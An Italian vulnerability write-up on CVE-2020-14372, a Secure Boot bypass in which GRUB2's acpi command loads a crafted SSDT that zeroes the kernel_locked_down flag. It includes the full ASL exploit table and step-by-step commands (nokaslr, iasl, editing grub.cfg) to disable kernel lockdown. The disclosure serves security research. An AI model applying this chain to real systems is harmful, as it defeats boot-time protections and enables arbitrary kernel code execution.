CVE-2020-14372: Bypass (non così) Secure Boot con un "semplice trucco"

Dettagli della vulnerabilità

Un giorno ho digitato "help" nella console di GRUB2 e ho visto alcuni comandi davvero "divertenti":

• read_byte ADDR: Legge un valore a 8 bit da ADDR
• write_byte ADDR VAL: Scrive un valore a 8 bit VAL in ADDR

Ho subito pensato di aver trovato il bypass di Secure Boot più divertente, ma questi comandi restituiscono il seguente messaggio sotto Secure Boot:

error: Secure Boot forbids loading module .../memrw.mod.

Per curiosità, dopo aver avviato in questo modo ho digitato il comando "acpi", e ha stampato un messaggio di utilizzo dicendomi di puntarlo a un file AML. È noto che un altro nome per ACPI è "meccanismo per eseguire codice arbitrario fornito dal fornitore nel contesto del kernel", poiché possiamo caricare tabelle ACPI con Secure Boot abilitato, siamo il "fornitore" che può fornire quel codice.

Ma poiché c'è un flag di un byte (kernel_locked_down) nel segmento dati del kernel avviato che dice se è "bloccato" o meno, possiamo semplicemente sovrascrivere quel flag usando un SSDT e lasciare che il kernel carichi moduli arbitrari.

Il seguente SSDT realizza ciò creando un oggetto "batteria" chiamato HACK, e facendo la scrittura nel metodo _INI di detto oggetto, che è sempre eseguito dal kernel:

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

Ho scritto un proof of concept in Python che aiuta a generare questo SSDT, ma sfruttare la vulnerabilità manualmente non è così difficile. Lo schema generale è il seguente:

1. Disabilitare KASLR aggiungendo nokaslr alla riga di comando del kernel
2. Trovare l'indirizzo fisico del simbolo kernel_locked_down dopo l'avvio senza KASLR
3. Inserire l'indirizzo nell'SSDT sopra, quindi compilare quell'SSDT usando iasl
4. Infine istruire GRUB2 a caricare l'SSDT

Come utilizzare il PoC

Presupposti:

• L'attaccante ha accesso root al sistema operativo in esecuzione
• Linux è avviato con UEFI Secure Boot e GRUB2 versione <=2.02 (alcune build di 2.02 sono patchate), questo causerà l'attivazione del kernel lockdown

Quando i presupposti di cui sopra sono soddisfatti, modificare /etc/default/grub, aggiungere nokaslr a GRUB_CMDLINE_LINUX_DEFAULT, eseguire update-grub, e infine riavviare.

Dopo che il kernel è stato avviato senza randomizzazione del layout dello spazio degli indirizzi, lo script genssdt.py può essere utilizzato per generare un SSDT "malevolo" che modificherà la memoria del kernel in esecuzione per disabilitare il lockdown:

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

Ora che l'SSDT è stato creato, il file di configurazione di GRUB (di solito a /boot/grub/grub.cfg) deve essere modificato per far sì che GRUB carichi questo SSDT (aggiungendo quanto segue all'inizio del file):

acpi (hd0,gpt1)/evil_ssdt.aml

In base a dove risiede sul disco la partizione di sistema EFI (dove abbiamo posizionato l'SSDT sopra), potrebbe essere necessario sostituire (hd0,gpt1) con qualcos'altro.

Infine dopo un riavvio, il kernel lockdown dovrebbe essere disabilitato, dando a root la capacità di eseguire codice arbitrario nel kernel.